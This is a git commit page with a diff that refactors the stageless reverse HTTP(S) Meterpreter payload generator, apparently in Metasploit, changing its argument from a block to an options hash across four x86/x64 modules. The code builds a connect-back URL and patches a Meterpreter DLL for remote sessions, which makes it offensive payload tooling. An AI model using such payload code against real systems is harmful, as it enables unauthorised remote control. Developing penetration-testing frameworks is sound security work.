Update http(s) generator functions
Methods now require a hash. I went with the hash because 1) that's what we seem to use everywhere else, and 2) I couldn't get the new keyword arguments working nicely with the block syntax (I'm clearly stupid).bug/bundler_fix
parent
84397f5db0
commit
9fd40870d0
|
@ -26,25 +26,30 @@ module Handler::ReverseHttp::Stageless
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_stageless(ssl, &block)
|
def generate_stageless(opts={})
|
||||||
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}#{generate_uri_uuid_mode(:connect)}/"
|
unless opts[:generator]
|
||||||
|
raise ArgumentError, "Stageless generation requires a generator argument"
|
||||||
unless block_given?
|
|
||||||
raise ArgumentError, "Stageless generation requires a block argument"
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if opts[:ssl].nil?
|
||||||
|
raise ArgumentError, "Stageless generation requires an ssl argument"
|
||||||
|
end
|
||||||
|
|
||||||
|
url = "http#{opts[:ssl] ? "s" : ""}://#{datastore['LHOST']}:#{datastore['LPORT']}"
|
||||||
|
url << "#{generate_uri_uuid_mode(:connect)}/"
|
||||||
|
|
||||||
# invoke the given function to generate the architecture specific payload
|
# invoke the given function to generate the architecture specific payload
|
||||||
block.call(url) do |dll|
|
opts[:generator].call(url) do |dll|
|
||||||
|
|
||||||
verify_cert_hash = nil
|
verify_cert_hash = nil
|
||||||
if ssl
|
if opts[:ssl]
|
||||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||||
datastore['HandlerSSLCert'])
|
datastore['HandlerSSLCert'])
|
||||||
end
|
end
|
||||||
|
|
||||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
|
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
|
||||||
:url => url,
|
:url => url,
|
||||||
:ssl => ssl,
|
:ssl => opts[:ssl],
|
||||||
:ssl_cert_hash => verify_cert_hash,
|
:ssl_cert_hash => verify_cert_hash,
|
||||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||||
|
|
|
@ -37,9 +37,11 @@ module Metasploit4
|
||||||
def generate
|
def generate
|
||||||
# generate a stageless payload using the x86 version of
|
# generate a stageless payload using the x86 version of
|
||||||
# the stageless generator
|
# the stageless generator
|
||||||
generate_stageless(false, &method(:generate_stageless_x86))
|
opts = {
|
||||||
|
:ssl => false,
|
||||||
|
:generator => method(:generate_stageless_x86)
|
||||||
|
}
|
||||||
|
generate_stageless(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -37,8 +37,11 @@ module Metasploit4
|
||||||
def generate
|
def generate
|
||||||
# generate a stageless payload using the x86 version of
|
# generate a stageless payload using the x86 version of
|
||||||
# the stageless generator
|
# the stageless generator
|
||||||
generate_stageless(true, &method(:generate_stageless_x86))
|
opts = {
|
||||||
|
:ssl => true,
|
||||||
|
:generator => method(:generate_stageless_x86)
|
||||||
|
}
|
||||||
|
generate_stageless(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -37,10 +37,11 @@ module Metasploit4
|
||||||
def generate
|
def generate
|
||||||
# generate a stageless payload using the x64 version of
|
# generate a stageless payload using the x64 version of
|
||||||
# the stageless generator
|
# the stageless generator
|
||||||
generate_stageless(false, &method(:generate_stageless_x64))
|
opts = {
|
||||||
|
:ssl => false,
|
||||||
|
:generator => method(:generate_stageless_x64)
|
||||||
|
}
|
||||||
|
generate_stageless(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -37,9 +37,11 @@ module Metasploit4
|
||||||
def generate
|
def generate
|
||||||
# generate a stageless payload using the x64 version of
|
# generate a stageless payload using the x64 version of
|
||||||
# the stageless generator
|
# the stageless generator
|
||||||
generate_stageless(true, &method(:generate_stageless_x64))
|
opts = {
|
||||||
|
:ssl => true,
|
||||||
|
:generator => method(:generate_stageless_x64)
|
||||||
|
}
|
||||||
|
generate_stageless(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue